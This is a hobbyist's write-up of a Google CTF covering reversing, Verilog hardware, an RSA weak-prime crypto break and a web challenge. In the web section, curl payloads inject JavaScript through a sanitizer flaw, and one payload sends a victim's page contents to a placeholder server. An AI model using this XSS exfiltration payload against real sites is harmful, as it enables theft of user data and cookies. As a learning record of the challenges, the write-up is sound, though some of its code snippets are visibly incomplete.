I found a link to the Google CTF as it was ongoing. Me and Ben (Team Skydog! Arf! Arf!) have been meaning to do a CTF for years and a combination of covid and procrastinating packing for a move finally made it happen!

The “easy” problems were ass kickers. I guess they were easy in the sense that total n00bs like us could eventually get them. But good lord. It seems inhuman to me that there are people rocking these things, but there are.

We were able to finish 3 problems and got close to a 4th.

There are similar write ups here https://ctftime.org/event/1041/tasks/ . Doesn’t seem like I did anything that unusual.

Beginner Reversing

This one was a binary that needed a password inputted . I booted up Ghidra to take a look at the binary which helped a lot in seeing a decompiled version. I’ve never really used Ghidra before. This is what Ghidra showed

ulong main(void)

  int iVar1;
  uint uVar2;
  undefined auVar3 [16];
  undefined input [16];
  undefined4 local_28;
  undefined4 uStack36;
  undefined4 uStack32;
  undefined4 uStack28;

  printf("Flag: ");
  auVar3 = pshufb(input,SHUFFLE);
  auVar3 = CONCAT412(SUB164(auVar3 >> 0x60,0) + ADD32._12_4_,
                     CONCAT48(SUB164(auVar3 >> 0x40,0) + ADD32._8_4_,
                              CONCAT44(SUB164(auVar3 >> 0x20,0) + ADD32._4_4_,
                                       SUB164(auVar3,0) + ADD32._0_4_))) ^ XOR;
  local_28 = SUB164(auVar3,0);
  uStack36 = SUB164(auVar3 >> 0x20,0);
  uStack32 = SUB164(XOR >> 0x40,0);
  uStack28 = SUB164(XOR >> 0x60,0);
  iVar1 = strncmp(input,(char *)&local_28,0x10);
  if (iVar1 == 0) {
    uVar2 = strncmp((char *)&local_28,EXPECTED_PREFIX,4);
    if (uVar2 == 0) {
      goto LAB_00101112;
  uVar2 = 1;
  return (ulong)uVar2;

        001010a9 e8 b2 ff        CALL       __isoc99_scanf                                   undefined __isoc99_scanf()
                 ff ff
        001010ae 66 0f 6f        MOVDQA     XMM0,xmmword ptr [RSP]=>input
                 04 24
        001010b3 48 89 ee        MOV        RSI,RBP
        001010b6 4c 89 e7        MOV        RDI,R12
        001010b9 ba 10 00        MOV        EDX,0x10
                 00 00
        001010be 66 0f 38        PSHUFB     XMM0,xmmword ptr [SHUFFLE]                       = 
                 00 05 a9 
                 2f 00 00
        001010c7 66 0f fe        PADDD      XMM0,xmmword ptr [ADD32]                         = 
                 05 91 2f                                                                    = null
                 00 00
        001010cf 66 0f ef        PXOR       XMM0,xmmword ptr [XOR]                           = 
                 05 79 2f 
                 00 00
        001010d7 0f 29 44        MOVAPS     xmmword ptr [RSP + local_28],XMM0
                 24 10
        001010dc e8 4f ff        CALL       strncmp                                          int strncmp(char * __s1, char * 
                 ff ff
        001010e1 85 c0           TEST       EAX,EAX
        001010e3 75 1b           JNZ        LAB_00101100
        001010e5 48 8b 35        MOV        RSI=>DAT_00102020,qword ptr [EXPECTED_PREFIX]    = 00102020
                 94 2f 00 00                                                                 = 43h    C
        001010ec ba 04 00        MOV        EDX,0x4
                 00 00
        001010f1 48 89 ef        MOV        RDI,RBP
        001010f4 e8 37 ff        CALL       strncmp                                          int strncmp(char * __s1, char * 
                 ff ff

Actually having this in ghidra makes this easier to see than it is here because Ghidra tells you which line of C is which line of assembly. Basically, it appears (after looking up some assembly instructions) that we need to find a string that after shuffling by a fixed pattern (SHUFFLE), packed adding a constant (ADD32), and xoring with a constant (XOR) equals itself.

I suppose this must be solvable by hand? They are suspiciously reversible operations. But I ended up using Z3 because I already know it pretty well. Something that made me totally nuts was translating byte ordering between x86 and z3. The only way I was able to do it was to go into gdb and go through the program instruction and make sure xmm0 had the same values as z3.

gdb a.out
break main
tui enable
layout asm
ni a bunch of times
print $xmm0

Then I put in the appropriate list reversals or reversed the bytes of the binary constants. It wasn’t so bad once I realized I had to do that.

from z3 import *

x = BitVec('x', 128)

chunks8 = [ Extract(i*8+7, 8*i,x )  for i in range(16)]

#print([print for chunk in chunks8])
shuffle =  [0x02 ,0x06 ,0x07 , 0x01,  0x05, 0x0b, 0x09, 0x0e, 0x03 , 0x0f ,0x04 ,0x08, 0x0a, 0x0c, 0x0d, 0x00]
#shuffle = [ 16 - i for i in shuffle ] #?? Endian?  # for z3 ,extract 0 is the least significant 
shufflex = [chunks8[shuf] for shuf in shuffle]

shufflex = Concat(list(reversed(shufflex)))

chunks32 = [ Extract(i*32+31, 32*i,shufflex )  for i in range(4)]  #[Concat( shufflex[4*i: 4*i+4]) ) for i in range(4)]
#add32 = [0xefbeadde, 0xaddee1fe, 0x37133713, 0x66746367]
add32 = [0xedeadbeef, 0xfee1dead, 0x13371337, 0x67637466]
added = [ chunk + addo for chunk,addo in zip(chunks32,add32) ]


xnew = Concat(list(reversed(added))) ^  0xAAF986EB34F823D4385F1A8D49B45876 # 0x7658b4498d1a5f38d423f834eb86f9aa

s = Solver()
s.add(xnew == x)
#s.add(x !=  649710491438454045931875052661658691 )

#s.add(Extract( 4*8-1 , 0, xnew) == 0x102020 ) # 0x202010 

m = s.model()
#bit32chunks = [ Extract(high, low, x)  for i in range(4)]

#lower = Extract(31, 0, x) 
#lower = Extract(31, 0, x)  

#x = BitVec('addx', 128)
#[ Extract(high, low, x)  for i in range(0,16)]

I still don’t understand what is going on with the EXPECTED_PREFIX part. Somehow that memory gets filled with “CTF”, even though it doesn’t have that in the binary file. So maybe that is a red herring?

I wonder if KLEE would’ve just found it or if there was some other automated tool that would’ve worked? I see that one write up used angr

Beginner Hardware

This one had a verilog file and a verilator C++ file. Basically, a string is clocked into a circuit which does some minimal scrambling and then sets a flag once a good key has been sent in. An unexpectedly hard part was figuring out how to get verilator to work, which wasn’t strictly necessary. Another hard part was realizing that I was supposed to netcat the key into a server. Somehow I just totally ignored the url that was in the question prompt

Again, I used my formal method super powers just because. I downloaded EBMC, although yosys smtbmc would probably also work

 ~/Downloads/ebmc check.sv --trace --bound 100

I edited the file slightly. I turned always_ff into always since ebmc didn’t seem to support it. I also initialized the memory to zero so that I could get an actual trace and asserted that open_safe == 0 so that it would give me a countermodel that opens the safe. ebmc returned a trace, which I sent over netcat to the server and got the real key. One could back out the key by hand here, since it is fairly simple scrambling.

module check(
    input clk,

    input [6:0] data,
    output wire open_safe

reg [6:0] memory [7:0];
reg [2:0] idx = 0;
//initial begin
//   memory[0] = 	7'b1000011;
//  memory[5] =   7'b1010100;
//   memory[2] =   7'b1010100;
//    memory[7] =    7'b1111011 ; // 7'x7b;

integer i;
initial begin
  for (i=0;i<8;i=i+1)
    memory[i] = 0;

wire [55:0] magic = {
    {memory[0], memory[5]},
    {memory[6], memory[2]},
    {memory[4], memory[3]},
    {memory[7], memory[1]}

wire [55:0] kittens = { magic[9:0],  magic[41:22], magic[21:10], magic[55:42] };
assign open_safe = kittens == 56'd3008192072309708;

always @(posedge clk) begin
    memory[idx] <= data;
    idx <= idx + 5;

assert property (open_safe==0); //  || memory[0] == 7'b110111); //|| memory[0] != b00110111


Chunk Norris - Crypto

This one kicked my ass. I know basically nothing about crypto. The prompt was that there is a file that generates primes for an RSA encrytion. They are using a fishy looking generator for the primes.

#!/usr/bin/python3 -u

import random
from Crypto.Util.number import *
import gmpy2

a = 0xe64a5f84e2762be5
chunk_size = 64

def gen_prime(bits):
  s = random.getrandbits(chunk_size)

  while True:
    s |= 0xc000000000000001
    p = 0
    for _ in range(bits // chunk_size):
      p = (p << chunk_size) + s
      s = a * s % 2**chunk_size
    if gmpy2.is_prime(p):
      return p

n = gen_prime(1024) * gen_prime(1024)
e = 65537
flag = open("flag.txt", "rb").read()
print('n =', hex(n))
print('e =', hex(e))
print('c =', hex(pow(bytes_to_long(flag), e, n)))

I went up a couple blind alleys. The first thing we tried was brute forcing. Maybe if the generator is incredibly weak, we can just generate 1,000,000 primes and we’ll get a match. No such luck.

Second I tried interpreting the whole problem into Z3 and Boolector. This did not work either. In hindsight, maybe it could have? Maybe I messed up somewhere in this code?

import random
from Crypto.Util.number import *
import gmpy2
from z3 import *

#x = BitVec('n', 1024)

prime_size = 1024
chunk_size = 64

s1 = ZeroExt(2*prime_size - chunk_size, BitVec('s1', chunk_size)) #prime_size)
s2 = ZeroExt(2*prime_size - chunk_size, BitVec('s2', chunk_size))

a = 0xe64a5f84e2762be5

def gen_prime(s, bits):
    s |= 0xc000000000000001
    p = 0
    for _ in range(bits // chunk_size):
      p = (p << chunk_size) + s
      s = a * s % 2**chunk_size
    return p

def gen_prime(s, bits):
    s |= 0xc000000000000001
    p = 0
    for _ in range(bits // chunk_size):
      p = (p << chunk_size) + s
      s = a * s % 2**chunk_size
    return p

p = gen_prime(s1,prime_size)
q = gen_prime(s2,prime_size)

#n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19
#n = 0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b
#n = BitVecVal("0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b", 64)
n = BitVec("n",2048) #(declare-const n (_ BitVec 224)  ) 
#s = parse_smt2_string( " (assert (= n  #x900000000001165742e188538bc53a3e129279c049360928a59b2de9))" , decls={"n": n})

#n = BitVecVal(0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b, 64)
#print(hex(int(str(n)))) 0xd3899acc7973d22e820d41b4ef33cd232a98366c40fb1d70df2650ca0a96560672496f93afa03e8252a4e63054971cfa8352c9a73504a5caf35f3f5146ffd5f5762480b8140e1230864d3d0edf012bb3dd39b8ce089a64a8935a039e50f8e2ec02d514c892439242257a9bc0f377e5cc1994803cc63697b8aa5ee662a3efa96fb3e6946432e6e86987dabf5d31c7aa650c373b6b00a2cf559e9cfb8f38dc7762d557c45674dde0b5867c8d029a79a89a5feed5b24754bddb10084327fdad0303a09fb3b9306b9439489474dfb5f505460f63a135e85d0e5f71986e1cbce27b3bf3897aa8354206c431850da65cac470f0c1180bbfd4615020bfd5fdaafa2afad
#s = Solver()
bv_solver = Solver() 
'''Then(With('simplify', mul2concat=True),
                 'sat').solver() '''
s = bv_solver 
#nstr = "#xd3899acc7973d22e820d41b4ef33cd232a98366c40fb1d70df2650ca0a96560672496f93afa03e8252a4e63054971cfa8352c9a73504a5caf35f3f5146ffd5f5762480b8140e1230864d3d0edf012bb3dd39b8ce089a64a8935a039e50f8e2ec02d514c892439242257a9bc0f377e5cc1994803cc63697b8aa5ee662a3efa96fb3e6946432e6e86987dabf5d31c7aa650c373b6b00a2cf559e9cfb8f38dc7762d557c45674dde0b5867c8d029a79a89a5feed5b24754bddb10084327fdad0303a09fb3b9306b9439489474dfb5f505460f63a135e85d0e5f71986e1cbce27b3bf3897aa8354206c431850da65cac470f0c1180bbfd4615020bfd5fdaafa2afad"
nstr = "#xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19"

s.add(parse_smt2_string( f" (assert (= n  {nstr}))" , decls={"n": n}))
#s.add( s1 < 2**chunk_size)
#s.add( s2 < 2**chunk_size)
s.add(s1 <= s2)
s.add( p * q == n)
m = s.model()

We also tried using this tool and see if we got any hits. https://github.com/Ganapati/RsaCtfTool Didn’t work. An interesting resource in any case, and I ended up using to to actually do the decryption once I had the primes.

Reading the problem prompt I realized they were emphasizing the way the random number generator was constructed. It turns out that this generator has a name https://en.wikipedia.org/wiki/Lehmer_random_number_generator . This did not lead to any revelations, so is actually a counter productive observation.

Anyway, looking at it, each 64 bit chunk is kind of independent of each other in the primes. And when you multiply the built primes, the chunks still don’t interweave all the much, especially the most and least significant chunk of n. Eventually I realized that the first and last chunk of the key n are simply related to the product of the 2 random numbers s used to generate the primes. The least significant chunk of n = s1 * s2 * a^30 mod 2^64. And the most significant chunk of n is the most significant 64 bits of s1 * s2 ( minus an unknown but small number of carries). We can reverse the a^30 by using the modular inverse of a which I used a web form to calculate. Then we basically have the product of s1 and s2. s1 and s2 are not primes, and this is a much smaller problem, so factoring these numbers is not a challenge.

import random
from Crypto.Util.number import *
import gmpy2

for q in range(16): # search over possible carries
    #e = q * 2 ** 64
    backn = 0x0273d3d4255f6b19 # least sig bits of n
    frontn = 0xab802dca026b1825 - q # most sig bits of n minus some carry

    chunk_size = 64
    bits = 1024
    a = 0xe64a5f84e2762be5 #16594180801339730917
    ainv = 13928521563655641581 # modular inverse wrt 2^64 https://www.dcode.fr/modular-inverse
    n0 = gmpy2.mpz("0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19")

    abackn = backn # mutiply a^inv ** (30? or 32?) * backn = s1 * s2 mod 2**64
    for _ in range(bits // chunk_size - 1):
        abackn = ainv * abackn % 2**chunk_size
        abackn = ainv * abackn % 2**chunk_size
    print("abackn  ", hex(abackn))

    def prime_factors(n): # all prime factors, from a stack exchange post
        i = 2
        factors = []
        while i * i <= n:
            if n % i:
                i += 1
                n //= i
        if n > 1:
        return factors

    def gen_prime_s(s,bits):
        s |= 0xc000000000000001
        p = 0
        for _ in range(bits // chunk_size):
            p = (p << chunk_size) + s
            s = a * s % 2**chunk_size
        return p

    tot_ss = (frontn * (2 ** (chunk_size)))  + abackn # combine the front and back. Should = s1 * s2
    print("frontbk", hex(tot_ss))
    g = prime_factors( tot_ss)
    ng = len(g)

    for i in range(2**ng): # try all ways of splitting prime list. Could do something less stupid, but whatev
        s1 = 1
        s2 = 1
        for x in range(ng):
            if (i >> x) & 1:
                s1 *= g[x]
                s2 *= g[x]

        p = gen_prime_s(s1,1024)
        q = gen_prime_s(s2,1024)
        n =  p*q

        if n == n0:
            print("holy shit")
            print(f"p = {p}", )
            print(f"q = {q}", )

Pasteurize Web

Strangely enough the web was also pretty hard. This is partially because this is getting further from stuff I know about. We ended up not finishing this one but I think we got close. We’re given access to a notes web app. Looking at the source, it turns out the server source was also being served. Eventually we figured out that we could curl in notes in an unexpected format using url-encoding which was conspicuously enabled in body-parser. The sanitizer makes the assumption that it is receiving a string, not an object. When the sanitizer removes the quotes from the JSON.stringify, it actually can remove an opening brace {, and then the first label of the object closes the string. When the note text is spliced into the webpage it isn’t properly escaped. We were able to get code to run via sending in an object with labels that were javascript code

curl -d 'content[;a=4;alert();]=;7;&content[;a=5;]=;4;' -H "Content-Type: application/x-www-form-urlencoded" -X POST https://pasteurize.web.ctfcompetition.com/

By running an ajax request we could recevie data from TJMike’s browser

curl -d 'content[;var xhttp = new XMLHttpRequest();xhttp.open(`POST`, `https://ourserver`, true);xhttp.send(document.documentElement.innerHTML);]=;7;&content[;a=5;]=;4;' -H "Content-Type: application/x-www-form-urlencoded" -X POST https://pasteurize.web.ctfcompetition.com/

We were at the time limit then. I’ve heard we needed to grab the document.cookies and that had the key in it?

All told pretty cool. A very well organized CTF with fun challenges. I dunno if CTFs are for me. I felt my blood pressure raising a lot.